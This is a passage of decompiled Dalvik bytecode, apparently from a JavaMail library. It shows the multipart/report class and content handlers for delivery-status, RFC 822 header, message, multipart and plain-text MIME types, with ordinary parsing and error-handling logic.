0000002A move-result v2
0000002C if-nez v2, :40
:30
00000030 const-string v2, "text/rfc822-headers"
00000034 invoke-virtual BodyPart->isMimeType(String)Z, v1, v2
:3A
0000003A move-result v2
0000003C if-eqz v2, :12
:40
00000040 invoke-virtual BodyPart->getContent()Object, v1
00000046 move-result-object v0
00000048 check-cast v0, MimeMessage
:4C
0000004C goto :12
:4E
0000004E move-exception v0
:50
00000050 new-instance v1, MessagingException
00000054 const-string v2, "IOException getting ReturnedMessage"
00000058 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000005E throw v1
:60
00000060 move-exception v0
00000062 monitor-exit p0
00000064 throw v0
.catchall {:4 .. :A} :60
.catchall {:18 .. :3A} :60
.catch IOException {:40 .. :4C} :4E
.catchall {:40 .. :4C} :60
.catchall {:50 .. :60} :60
.end method
.method public declared-synchronized getText()String
.registers 5
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
00000004 const/4 v0, 0x0
:6
00000006 invoke-virtual MultipartReport->getBodyPart(I)BodyPart, p0, v0
0000000C move-result-object v0
0000000E const-string v2, "text/plain"
00000012 invoke-virtual BodyPart->isMimeType(String)Z, v0, v2
00000018 move-result v2
0000001A if-eqz v2, :2E
:1E
0000001E invoke-virtual BodyPart->getContent()Object, v0
00000024 move-result-object v0
00000026 check-cast v0, String
:2A
0000002A monitor-exit p0
0000002C return-object v0
:2E
0000002E const-string v2, "multipart/alternative"
00000032 invoke-virtual BodyPart->isMimeType(String)Z, v0, v2
00000038 move-result v2
0000003A if-eqz v2, :56
:3E
0000003E invoke-virtual BodyPart->getContent()Object, v0
00000044 move-result-object v0
00000046 check-cast v0, Multipart
:4A
0000004A invoke-virtual Multipart->getCount()I, v0
00000050 move-result v2
00000052 if-lt v1, v2, :5A
:56
00000056 const/4 v0, 0x0
00000058 goto :2A
:5A
0000005A invoke-virtual Multipart->getBodyPart(I)BodyPart, v0, v1
00000060 move-result-object v2
00000062 const-string v3, "text/plain"
00000066 invoke-virtual BodyPart->isMimeType(String)Z, v2, v3
0000006C move-result v3
0000006E if-eqz v3, :80
:72
00000072 invoke-virtual BodyPart->getContent()Object, v2
00000078 move-result-object v0
0000007A check-cast v0, String
:7E
0000007E goto :2A
:80
00000080 add-int/lit8 v1, v1, 0x1
00000084 goto :4A
:86
00000086 move-exception v0
:88
00000088 new-instance v1, MessagingException
0000008C const-string v2, "Exception getting text content"
00000090 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000096 throw v1
:98
00000098 move-exception v0
0000009A monitor-exit p0
0000009C throw v0
.catch IOException {:6 .. :2A} :86
.catchall {:6 .. :2A} :98
.catch IOException {:2E .. :7E} :86
.catchall {:2E .. :7E} :98
.catchall {:88 .. :98} :98
.end method
.method public declared-synchronized getTextBodyPart()MimeBodyPart
.registers 2
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 invoke-virtual MultipartReport->getBodyPart(I)BodyPart, p0, v0
0000000A move-result-object v0
0000000C check-cast v0, MimeBodyPart
:10
00000010 monitor-exit p0
00000012 return-object v0
:14
00000014 move-exception v0
00000016 monitor-exit p0
00000018 throw v0
.catchall {:4 .. :10} :14
.end method
.method public removeBodyPart(I)V
.registers 4
00000000 new-instance v0, MessagingException
00000004 const-string v1, "Can\'t remove body parts from multipart/report"
00000008 invoke-direct MessagingException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public removeBodyPart(BodyPart)Z
.registers 4
00000000 new-instance v0, MessagingException
00000004 const-string v1, "Can\'t remove body parts from multipart/report"
00000008 invoke-direct MessagingException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public declared-synchronized setDeliveryStatus(DeliveryStatus)V
.registers 5
00000000 monitor-enter p0
:2
00000002 new-instance v0, MimeBodyPart
00000006 invoke-direct MimeBodyPart-><init>()V, v0
0000000C const-string v1, "message/delivery-status"
00000010 invoke-virtual MimeBodyPart->setContent(Object, String)V, v0, p1, v1
00000016 const/4 v1, 0x2
00000018 invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
0000001E new-instance v0, ContentType
00000022 iget-object v1, p0, MultipartReport->contentType:String
00000026 invoke-direct ContentType-><init>(String)V, v0, v1
0000002C const-string v1, "report-type"
00000030 const-string v2, "delivery-status"
00000034 invoke-virtual ContentType->setParameter(String, String)V, v0, v1, v2
0000003A invoke-virtual ContentType->toString()String, v0
00000040 move-result-object v0
00000042 iput-object v0, p0, MultipartReport->contentType:String
:46
00000046 monitor-exit p0
00000048 return-void
:4A
0000004A move-exception v0
0000004C monitor-exit p0
0000004E throw v0
.catchall {:2 .. :46} :4A
.end method
.method public declared-synchronized setReturnedMessage(MimeMessage)V
.registers 4
00000000 monitor-enter p0
00000002 if-nez p1, :24
:6
00000006 iget-object v0, p0, MultipartReport->parts:Vector
0000000A const/4 v1, 0x2
0000000C invoke-virtual Vector->elementAt(I)Object, v0, v1
00000012 move-result-object v0
00000014 check-cast v0, BodyPart
00000018 const/4 v0, 0x2
0000001A invoke-super MimeMultipart->removeBodyPart(I)V, p0, v0
:20
00000020 monitor-exit p0
00000022 return-void
:24
00000024 new-instance v0, MimeBodyPart
00000028 invoke-direct MimeBodyPart-><init>()V, v0
0000002E instance-of v1, p1, MessageHeaders
00000032 if-eqz v1, :50
:36
00000036 const-string v1, "text/rfc822-headers"
0000003A invoke-virtual MimeBodyPart->setContent(Object, String)V, v0, p1, v1
:40
00000040 const/4 v1, 0x2
00000042 invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
:48
00000048 goto :20
:4A
0000004A move-exception v0
0000004C monitor-exit p0
0000004E throw v0
:50
00000050 const-string v1, "message/rfc822"
00000054 invoke-virtual MimeBodyPart->setContent(Object, String)V, v0, p1, v1
:5A
0000005A goto :40
.catchall {:6 .. :20} :4A
.catchall {:24 .. :48} :4A
.catchall {:50 .. :5A} :4A
.end method
.method public declared-synchronized setSubType(String)V
.registers 4
00000000 monitor-enter p0
:2
00000002 new-instance v0, MessagingException
00000006 const-string v1, "Can\'t change subtype of MultipartReport"
0000000A invoke-direct MessagingException-><init>(String)V, v0, v1
00000010 throw v0
:12
00000012 move-exception v0
00000014 monitor-exit p0
00000016 throw v0
.catchall {:2 .. :12} :12
.end method
.method public declared-synchronized setText(String)V
.registers 4
00000000 monitor-enter p0
:2
00000002 new-instance v0, MimeBodyPart
00000006 invoke-direct MimeBodyPart-><init>()V, v0
0000000C invoke-virtual MimeBodyPart->setText(String)V, v0, p1
00000012 const/4 v1, 0x0
00000014 invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
:1A
0000001A monitor-exit p0
0000001C return-void
:1E
0000001E move-exception v0
00000020 monitor-exit p0
00000022 throw v0
.catchall {:2 .. :1A} :1E
.end method
.method public declared-synchronized setTextBodyPart(MimeBodyPart)V
.registers 3
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, p1, v0
:A
0000000A monitor-exit p0
0000000C return-void
:E
0000000E move-exception v0
00000010 monitor-exit p0
00000012 throw v0
.catchall {:4 .. :A} :E
.end method
#--------------------------------------------------------------------------------
.class public abstract interface DataContentHandler
.super Object
.source ""
.method public abstract getContent(DataSource)Object
.end method
.method public abstract getTransferData(DataFlavor, DataSource)Object
.end method
.method public abstract getTransferDataFlavors()[DataFlavor
.end method
.method public abstract writeTo(Object, String, OutputStream)V
.end method
#--------------------------------------------------------------------------------
.class public message_deliverystatus
.super Object
.source ""
.implements DataContentHandler
.field ourDataFlavor:ActivationDataFlavor
.method public constructor <init>()V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, ActivationDataFlavor
0000000A const-class v1, DeliveryStatus
0000000E const-string v2, "message/delivery-status"
00000012 const-string v3, "Delivery Status"
00000016 invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
0000001C iput-object v0, p0, message_deliverystatus->ourDataFlavor:ActivationDataFlavor
00000020 return-void
.end method
.method public getContent(DataSource)Object
.registers 6
00000000 new-instance v0, DeliveryStatus
00000004 invoke-interface DataSource->getInputStream()InputStream, p1
0000000A move-result-object v1
0000000C invoke-direct DeliveryStatus-><init>(InputStream)V, v0, v1
:12
00000012 return-object v0
:14
00000014 move-exception v0
00000016 new-instance v1, IOException
0000001A new-instance v2, StringBuilder
0000001E const-string v3, "Exception creating DeliveryStatus in message/devliery-status DataContentHandler: "
00000022 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000028 invoke-virtual MessagingException->toString()String, v0
0000002E move-result-object v0
00000030 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000036 move-result-object v0
00000038 invoke-virtual StringBuilder->toString()String, v0
0000003E move-result-object v0
00000040 invoke-direct IOException-><init>(String)V, v1, v0
00000046 throw v1
.catch MessagingException {:0 .. :12} :14
.end method
.method public getTransferData(DataFlavor, DataSource)Object
.registers 4
00000000 iget-object v0, p0, message_deliverystatus->ourDataFlavor:ActivationDataFlavor
00000004 invoke-virtual ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A move-result v0
0000000C if-eqz v0, :1A
:10
00000010 invoke-virtual message_deliverystatus->getContent(DataSource)Object, p0, p2
00000016 move-result-object v0
:18
00000018 return-object v0
:1A
0000001A const/4 v0, 0x0
0000001C goto :18
.end method
.method public getTransferDataFlavors()[DataFlavor
.registers 4
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [DataFlavor
00000006 const/4 v1, 0x0
00000008 iget-object v2, p0, message_deliverystatus->ourDataFlavor:ActivationDataFlavor
0000000C aput-object v2, v0, v1
00000010 return-object v0
.end method
.method public writeTo(Object, String, OutputStream)V
.registers 6
00000000 instance-of v0, p1, DeliveryStatus
00000004 if-eqz v0, :2A
:8
00000008 check-cast p1, DeliveryStatus
:C
0000000C invoke-virtual DeliveryStatus->writeTo(OutputStream)V, p1, p3
:12
00000012 return-void
:14
00000014 move-exception v0
00000016 new-instance v1, IOException
0000001A invoke-virtual MessagingException->toString()String, v0
00000020 move-result-object v0
00000022 invoke-direct IOException-><init>(String)V, v1, v0
00000028 throw v1
:2A
0000002A new-instance v0, IOException
0000002E const-string v1, "unsupported object"
00000032 invoke-direct IOException-><init>(String)V, v0, v1
00000038 throw v0
.catch MessagingException {:C .. :12} :14
.end method
#--------------------------------------------------------------------------------
.class public multipart_report
.super Object
.source ""
.implements DataContentHandler
.field private myDF:ActivationDataFlavor
.method public constructor <init>()V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, ActivationDataFlavor
0000000A const-class v1, MultipartReport
0000000E const-string v2, "multipart/report"
00000012 const-string v3, "Multipart Report"
00000016 invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
0000001C iput-object v0, p0, multipart_report->myDF:ActivationDataFlavor
00000020 return-void
.end method
.method public getContent(DataSource)Object
.registers 5
00000000 new-instance v0, MultipartReport
00000004 invoke-direct MultipartReport-><init>(DataSource)V, v0, p1
:A
0000000A return-object v0
:C
0000000C move-exception v0
0000000E new-instance v1, IOException
00000012 const-string v2, "Exception while constructing MultipartReport"
00000016 invoke-direct IOException-><init>(String)V, v1, v2
0000001C invoke-virtual IOException->initCause(Throwable)Throwable, v1, v0
00000022 throw v1
.catch MessagingException {:0 .. :A} :C
.end method
.method public getTransferData(DataFlavor, DataSource)Object
.registers 4
00000000 iget-object v0, p0, multipart_report->myDF:ActivationDataFlavor
00000004 invoke-virtual ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A move-result v0
0000000C if-eqz v0, :1A
:10
00000010 invoke-virtual multipart_report->getContent(DataSource)Object, p0, p2
00000016 move-result-object v0
:18
00000018 return-object v0
:1A
0000001A const/4 v0, 0x0
0000001C goto :18
.end method
.method public getTransferDataFlavors()[DataFlavor
.registers 4
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [DataFlavor
00000006 const/4 v1, 0x0
00000008 iget-object v2, p0, multipart_report->myDF:ActivationDataFlavor
0000000C aput-object v2, v0, v1
00000010 return-object v0
.end method
.method public writeTo(Object, String, OutputStream)V
.registers 6
00000000 instance-of v0, p1, MultipartReport
00000004 if-eqz v0, :12
:8
00000008 check-cast p1, MultipartReport
0000000C invoke-virtual MultipartReport->writeTo(OutputStream)V, p1, p3
:12
00000012 return-void
:14
00000014 move-exception v0
00000016 new-instance v1, IOException
0000001A invoke-virtual MessagingException->toString()String, v0
00000020 move-result-object v0
00000022 invoke-direct IOException-><init>(String)V, v1, v0
00000028 throw v1
.catch MessagingException {:8 .. :12} :14
.end method
#--------------------------------------------------------------------------------
.class public text_rfc822headers
.super Object
.source ""
.implements DataContentHandler
.field private static myDF:ActivationDataFlavor
.field private static myDFs:ActivationDataFlavor
.method static constructor <clinit>()V
.registers 4
00000000 new-instance v0, ActivationDataFlavor
00000004 const-class v1, MessageHeaders
00000008 const-string v2, "text/rfc822-headers"
0000000C const-string v3, "RFC822 headers"
00000010 invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000016 sput-object v0, text_rfc822headers->myDF:ActivationDataFlavor
0000001A new-instance v0, ActivationDataFlavor
0000001E const-class v1, String
00000022 const-string v2, "text/rfc822-headers"
00000026 const-string v3, "RFC822 headers"
0000002A invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000030 sput-object v0, text_rfc822headers->myDFs:ActivationDataFlavor
00000034 return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method private getCharset(String)String
.registers 4
00000000 new-instance v0, ContentType
00000004 invoke-direct ContentType-><init>(String)V, v0, p1
0000000A const-string v1, "charset"
0000000E invoke-virtual ContentType->getParameter(String)String, v0, v1
00000014 move-result-object v0
00000016 if-nez v0, :1E
:1A
0000001A const-string v0, "us-ascii"
:1E
0000001E invoke-static MimeUtility->javaCharset(String)String, v0
:24
00000024 move-result-object v0
:26
00000026 return-object v0
:28
00000028 move-exception v0
0000002A const/4 v0, 0x0
0000002C goto :26
.catch Exception {:0 .. :24} :28
.end method
.method private getStringContent(DataSource)Object
.registers 9
00000000 const/high16 v6, 0x40000
00000004 const/4 v2, 0x0
00000006 const/4 v0, 0x0
:8
00000008 invoke-interface DataSource->getContentType()String, p1
0000000E move-result-object v1
00000010 invoke-direct text_rfc822headers->getCharset(String)String, p0, v1
00000016 move-result-object v0
00000018 new-instance v4, InputStreamReader
0000001C invoke-interface DataSource->getInputStream()InputStream, p1
00000022 move-result-object v1
00000024 invoke-direct InputStreamReader-><init>(InputStream, String)V, v4, v1, v0
:2A
0000002A const/16 v0, 0x400
0000002E new-array v0, v0, [C
00000032 move v1, v2
:34
00000034 array-length v3, v0
00000036 sub-int/2addr v3, v1
00000038 invoke-virtual InputStreamReader->read([C, I, I)I, v4, v0, v1, v3
0000003E move-result v3
00000040 const/4 v5, 0xFFFFFFFFFFFFFFFF
00000042 if-ne v3, v5, :60
:46
00000046 new-instance v3, String
0000004A invoke-direct String-><init>([C, I, I)V, v3, v0, v2, v1
00000050 return-object v3
:52
00000052 move-exception v1
00000054 new-instance v1, UnsupportedEncodingException
00000058 invoke-direct UnsupportedEncodingException-><init>(String)V, v1, v0
0000005E throw v1
:60
00000060 add-int/2addr v3, v1
00000062 array-length v1, v0
00000064 if-lt v3, v1, :84
:68
00000068 array-length v1, v0
0000006A if-ge v1, v6, :80
:6E
0000006E add-int/2addr v1, v1
:70
00000070 new-array v1, v1, [C
00000074 invoke-static System->arraycopy(Object, I, Object, I, I)V, v0, v2, v1, v2, v3
0000007A move-object v0, v1
0000007C move v1, v3
0000007E goto :34
:80
00000080 add-int/2addr v1, v6
00000082 goto :70
:84
00000084 move v1, v3
00000086 goto :34
.catch IllegalArgumentException {:8 .. :2A} :52
.end method
.method public getContent(DataSource)Object
.registers 6
00000000 new-instance v0, MessageHeaders
00000004 invoke-interface DataSource->getInputStream()InputStream, p1
0000000A move-result-object v1
0000000C invoke-direct MessageHeaders-><init>(InputStream)V, v0, v1
:12
00000012 return-object v0
:14
00000014 move-exception v0
00000016 new-instance v1, IOException
0000001A new-instance v2, StringBuilder
0000001E const-string v3, "Exception creating MessageHeaders: "
00000022 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000028 invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
0000002E move-result-object v0
00000030 invoke-virtual StringBuilder->toString()String, v0
00000036 move-result-object v0
00000038 invoke-direct IOException-><init>(String)V, v1, v0
0000003E throw v1
.catch MessagingException {:0 .. :12} :14
.end method
.method public getTransferData(DataFlavor, DataSource)Object
.registers 4
00000000 sget-object v0, text_rfc822headers->myDF:ActivationDataFlavor
00000004 invoke-virtual ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A move-result v0
0000000C if-eqz v0, :1A
:10
00000010 invoke-virtual text_rfc822headers->getContent(DataSource)Object, p0, p2
00000016 move-result-object v0
:18
00000018 return-object v0
:1A
0000001A sget-object v0, text_rfc822headers->myDFs:ActivationDataFlavor
0000001E invoke-virtual ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
00000024 move-result v0
00000026 if-eqz v0, :34
:2A
0000002A invoke-direct text_rfc822headers->getStringContent(DataSource)Object, p0, p2
00000030 move-result-object v0
00000032 goto :18
:34
00000034 const/4 v0, 0x0
00000036 goto :18
.end method
.method public getTransferDataFlavors()[DataFlavor
.registers 4
00000000 const/4 v0, 0x2
00000002 new-array v0, v0, [DataFlavor
00000006 const/4 v1, 0x0
00000008 sget-object v2, text_rfc822headers->myDF:ActivationDataFlavor
0000000C aput-object v2, v0, v1
00000010 const/4 v1, 0x1
00000012 sget-object v2, text_rfc822headers->myDFs:ActivationDataFlavor
00000016 aput-object v2, v0, v1
0000001A return-object v0
.end method
.method public writeTo(Object, String, OutputStream)V
.registers 8
00000000 instance-of v0, p1, MessageHeaders
00000004 if-eqz v0, :56
:8
00000008 check-cast p1, MessageHeaders
:C
0000000C invoke-virtual MessageHeaders->writeTo(OutputStream)V, p1, p3
:12
00000012 return-void
:14
00000014 move-exception v1
00000016 invoke-virtual MessagingException->getNextException()Exception, v1
0000001C move-result-object v0
0000001E instance-of v2, v0, IOException
00000022 if-eqz v2, :2C
:26
00000026 check-cast v0, IOException
0000002A throw v0
:2C
0000002C new-instance v0, IOException
00000030 new-instance v2, StringBuilder
00000034 const-string v3, "Exception writing headers: "
00000038 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000003E invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v1
00000044 move-result-object v1
00000046 invoke-virtual StringBuilder->toString()String, v1
0000004C move-result-object v1
0000004E invoke-direct IOException-><init>(String)V, v0, v1
00000054 throw v0
:56
00000056 instance-of v0, p1, String
0000005A if-nez v0, :C4
:5E
0000005E new-instance v0, IOException
00000062 new-instance v1, StringBuilder
00000066 const-string v2, "\""
0000006A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000070 sget-object v2, text_rfc822headers->myDFs:ActivationDataFlavor
00000074 invoke-virtual ActivationDataFlavor->getMimeType()String, v2
0000007A move-result-object v2
0000007C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000082 move-result-object v1
00000084 const-string v2, "\" DataContentHandler requires String object, "
00000088 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000008E move-result-object v1
00000090 const-string v2, "was given object of type "
00000094 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000009A move-result-object v1
0000009C invoke-virtual Object->getClass()Class, p1
000000A2 move-result-object v2
000000A4 invoke-virtual Class->toString()String, v2
000000AA move-result-object v2
000000AC invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000B2 move-result-object v1
000000B4 invoke-virtual StringBuilder->toString()String, v1
000000BA move-result-object v1
000000BC invoke-direct IOException-><init>(String)V, v0, v1
000000C2 throw v0
:C4
000000C4 const/4 v0, 0x0
:C6
000000C6 invoke-direct text_rfc822headers->getCharset(String)String, p0, p2
000000CC move-result-object v0
000000CE new-instance v1, OutputStreamWriter
000000D2 invoke-direct OutputStreamWriter-><init>(OutputStream, String)V, v1, p3, v0
:D8
000000D8 check-cast p1, String
000000DC const/4 v0, 0x0
000000DE invoke-virtual String->length()I, p1
000000E4 move-result v2
000000E6 invoke-virtual OutputStreamWriter->write(String, I, I)V, v1, p1, v0, v2
000000EC invoke-virtual OutputStreamWriter->flush()V, v1
000000F2 goto :12
:F4
000000F4 move-exception v1
000000F6 new-instance v1, UnsupportedEncodingException
000000FA invoke-direct UnsupportedEncodingException-><init>(String)V, v1, v0
00000100 throw v1
.catch MessagingException {:C .. :12} :14
.catch IllegalArgumentException {:C6 .. :D8} :F4
.end method
#--------------------------------------------------------------------------------
.class public message_rfc822
.super Object
.source ""
.implements DataContentHandler
.field ourDataFlavor:ActivationDataFlavor
.method public constructor <init>()V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, ActivationDataFlavor
0000000A const-class v1, Message
0000000E const-string v2, "message/rfc822"
00000012 const-string v3, "Message"
00000016 invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
0000001C iput-object v0, p0, message_rfc822->ourDataFlavor:ActivationDataFlavor
00000020 return-void
.end method
.method public getContent(DataSource)Object
.registers 7
00000000 instance-of v1, p1, MessageAware
00000004 if-eqz v1, :34
:8
00000008 move-object v0, p1
0000000A check-cast v0, MessageAware
0000000E move-object v1, v0
00000010 invoke-interface MessageAware->getMessageContext()MessageContext, v1
00000016 move-result-object v1
00000018 invoke-virtual MessageContext->getSession()Session, v1
0000001E move-result-object v1
:20
00000020 new-instance v2, MimeMessage
00000024 invoke-interface DataSource->getInputStream()InputStream, p1
0000002A move-result-object v3
0000002C invoke-direct MimeMessage-><init>(Session, InputStream)V, v2, v1, v3
00000032 return-object v2
:34
00000034 new-instance v1, Properties
00000038 invoke-direct Properties-><init>()V, v1
0000003E const/4 v2, 0x0
00000040 invoke-static Session->getDefaultInstance(Properties, Authenticator)Session, v1, v2
:46
00000046 move-result-object v1
00000048 goto :20
:4A
0000004A move-exception v1
0000004C new-instance v2, IOException
00000050 new-instance v3, StringBuilder
00000054 const-string v4, "Exception creating MimeMessage in message/rfc822 DataContentHandler: "
00000058 invoke-direct StringBuilder-><init>(String)V, v3, v4
0000005E invoke-virtual MessagingException->toString()String, v1
00000064 move-result-object v1
00000066 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v1
0000006C move-result-object v1
0000006E invoke-virtual StringBuilder->toString()String, v1
00000074 move-result-object v1
00000076 invoke-direct IOException-><init>(String)V, v2, v1
0000007C throw v2
.catch MessagingException {:0 .. :46} :4A
.end method
.method public getTransferData(DataFlavor, DataSource)Object
.registers 4
00000000 iget-object v0, p0, message_rfc822->ourDataFlavor:ActivationDataFlavor
00000004 invoke-virtual ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A move-result v0
0000000C if-eqz v0, :1A
:10
00000010 invoke-virtual message_rfc822->getContent(DataSource)Object, p0, p2
00000016 move-result-object v0
:18
00000018 return-object v0
:1A
0000001A const/4 v0, 0x0
0000001C goto :18
.end method
.method public getTransferDataFlavors()[DataFlavor
.registers 4
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [DataFlavor
00000006 const/4 v1, 0x0
00000008 iget-object v2, p0, message_rfc822->ourDataFlavor:ActivationDataFlavor
0000000C aput-object v2, v0, v1
00000010 return-object v0
.end method
.method public writeTo(Object, String, OutputStream)V
.registers 6
00000000 instance-of v0, p1, Message
00000004 if-eqz v0, :2A
:8
00000008 check-cast p1, Message
:C
0000000C invoke-virtual Message->writeTo(OutputStream)V, p1, p3
:12
00000012 return-void
:14
00000014 move-exception v0
00000016 new-instance v1, IOException
0000001A invoke-virtual MessagingException->toString()String, v0
00000020 move-result-object v0
00000022 invoke-direct IOException-><init>(String)V, v1, v0
00000028 throw v1
:2A
0000002A new-instance v0, IOException
0000002E const-string v1, "unsupported object"
00000032 invoke-direct IOException-><init>(String)V, v0, v1
00000038 throw v0
.catch MessagingException {:C .. :12} :14
.end method
#--------------------------------------------------------------------------------
.class public multipart_mixed
.super Object
.source ""
.implements DataContentHandler
.field private myDF:ActivationDataFlavor
.method public constructor <init>()V
.registers 5
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, ActivationDataFlavor
0000000A const-class v1, MimeMultipart
0000000E const-string v2, "multipart/mixed"
00000012 const-string v3, "Multipart"
00000016 invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
0000001C iput-object v0, p0, multipart_mixed->myDF:ActivationDataFlavor
00000020 return-void
.end method
.method public getContent(DataSource)Object
.registers 5
00000000 new-instance v0, MimeMultipart
00000004 invoke-direct MimeMultipart-><init>(DataSource)V, v0, p1
:A
0000000A return-object v0
:C
0000000C move-exception v0
0000000E new-instance v1, IOException
00000012 const-string v2, "Exception while constructing MimeMultipart"
00000016 invoke-direct IOException-><init>(String)V, v1, v2
0000001C invoke-virtual IOException->initCause(Throwable)Throwable, v1, v0
00000022 throw v1
.catch MessagingException {:0 .. :A} :C
.end method
.method public getTransferData(DataFlavor, DataSource)Object
.registers 4
00000000 iget-object v0, p0, multipart_mixed->myDF:ActivationDataFlavor
00000004 invoke-virtual ActivationDataFlavor->equals(DataFlavor)Z, v0, p1
0000000A move-result v0
0000000C if-eqz v0, :1A
:10
00000010 invoke-virtual multipart_mixed->getContent(DataSource)Object, p0, p2
00000016 move-result-object v0
:18
00000018 return-object v0
:1A
0000001A const/4 v0, 0x0
0000001C goto :18
.end method
.method public getTransferDataFlavors()[DataFlavor
.registers 4
00000000 const/4 v0, 0x1
00000002 new-array v0, v0, [DataFlavor
00000006 const/4 v1, 0x0
00000008 iget-object v2, p0, multipart_mixed->myDF:ActivationDataFlavor
0000000C aput-object v2, v0, v1
00000010 return-object v0
.end method
.method public writeTo(Object, String, OutputStream)V
.registers 6
00000000 instance-of v0, p1, MimeMultipart
00000004 if-eqz v0, :12
:8
00000008 check-cast p1, MimeMultipart
0000000C invoke-virtual MimeMultipart->writeTo(OutputStream)V, p1, p3
:12
00000012 return-void
:14
00000014 move-exception v0
00000016 new-instance v1, IOException
0000001A invoke-virtual MessagingException->toString()String, v0
00000020 move-result-object v0
00000022 invoke-direct IOException-><init>(String)V, v1, v0
00000028 throw v1
.catch MessagingException {:8 .. :12} :14
.end method
#--------------------------------------------------------------------------------
.class public text_plain
.super Object
.source ""
.implements DataContentHandler
.field private static myDF:ActivationDataFlavor
.method static constructor <clinit>()V
.registers 4
00000000 new-instance v0, ActivationDataFlavor
00000004 const-class v1, String
00000008 const-string v2, "text/plain"
0000000C const-string v3, "Text String"
00000010 invoke-direct ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000016 sput-object v0, text_plain->myDF:ActivationDataFlavor
0000001A return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method private getCharset(String)String
.registers 4
00000000 new-instance v0, ContentType
00000004 invoke-direct ContentType-><init>(String)V, v0, p1
0000000A const-string v1, "charset"
0000000E invoke-virtual ContentType->getParameter(String)String, v0, v1
00000014 move-result-object v0
00000016 if-nez v0, :1E
:1A
0000001A const-string v0, "us-ascii"
:1E
0000001E invoke-static MimeUtility->javaCharset(String)String, v0
:24
00000024 move-result-object v0
:26
00000026 return-object v0
:28
00000028 move-exception v0
0000002A const/4 v0, 0x0
0000002C goto :26
.catch Exception {:0 .. :24} :28
.end method
.method public getContent(DataSource)Object
.registers 10
00000000 const/high16 v6, 0x40000
00000004 const/4 v1, 0x0
00000006 const/4 v0, 0x0
:8
00000008 invoke-interface DataSource->getContentType()String, p1
0000000E move-result-object v2
00000010 invoke-direct text_plain->getCharset(String)String, p0, v2
00000016 move-result-object v0
00000018 new-instance v3, InputStreamReader
0000001C invoke-interface DataSource->getInputStream()InputStream, p1
00000022 move-result-object v2
00000024 invoke-direct InputStreamReader-><init>(InputStream, String)V, v3, v2, v0
:2A
0000002A const/16 v0, 0x400
:2E
0000002E new-array v0, v0, [C
00000032 move-object v7, v0
00000034 move v0, v1
00000036 move-object v1, v7
:38
00000038 array-length v2, v1
0000003A sub-int/2addr v2, v0
0000003C invoke-virtual InputStreamReader->read([C, I, I)I, v3, v1, v0, v2
00000042 move-result v2
00000044 const/4 v4, 0xFFFFFFFFFFFFFFFF
00000046 if-ne v2, v4, :6C
:4A
0000004A new-instance v2, String
0000004E const/4 v4, 0x0
00000050 invoke-direct String-><init>([C, I, I)V, v2, v1, v4, v0
:56
00000056 invoke-virtual InputStreamReader->close()V, v3
:5C
0000005C return-object v2
:5E
0000005E move-exception v1
00000060 new-instance v1, UnsupportedEncodingException
00000064 invoke-direct UnsupportedEncodingException-><init>(String)V, v1, v0
0000006A throw v1
:6C
0000006C add-int/2addr v2, v0
:6E
0000006E array-length v0, v1
00000070 if-lt v2, v0, :A6
:74
00000074 array-length v0, v1
00000076 if-ge v0, v6, :90
:7A
0000007A add-int/2addr v0, v0
:7C
0000007C new-array v0, v0, [C
00000080 const/4 v4, 0x0
00000082 const/4 v5, 0x0
00000084 invoke-static System->arraycopy(Object, I, Object, I, I)V, v1, v4, v0, v5, v2
:8A
0000008A move-object v1, v0
0000008C move v0, v2
0000008E goto :38
:90
00000090 add-int/2addr v0, v6
00000092 goto :7C
:94
00000094 move-exception v0
:96
00000096 invoke-virtual InputStreamReader->close()V, v3
:9C
0000009C throw v0
:9E
0000009E move-exception v0
000000A0 goto :5C
:A2
000000A2 move-exception v1
000000A4 goto :9C
:A6
000000A6 move v0, v2
000000A8 goto :38
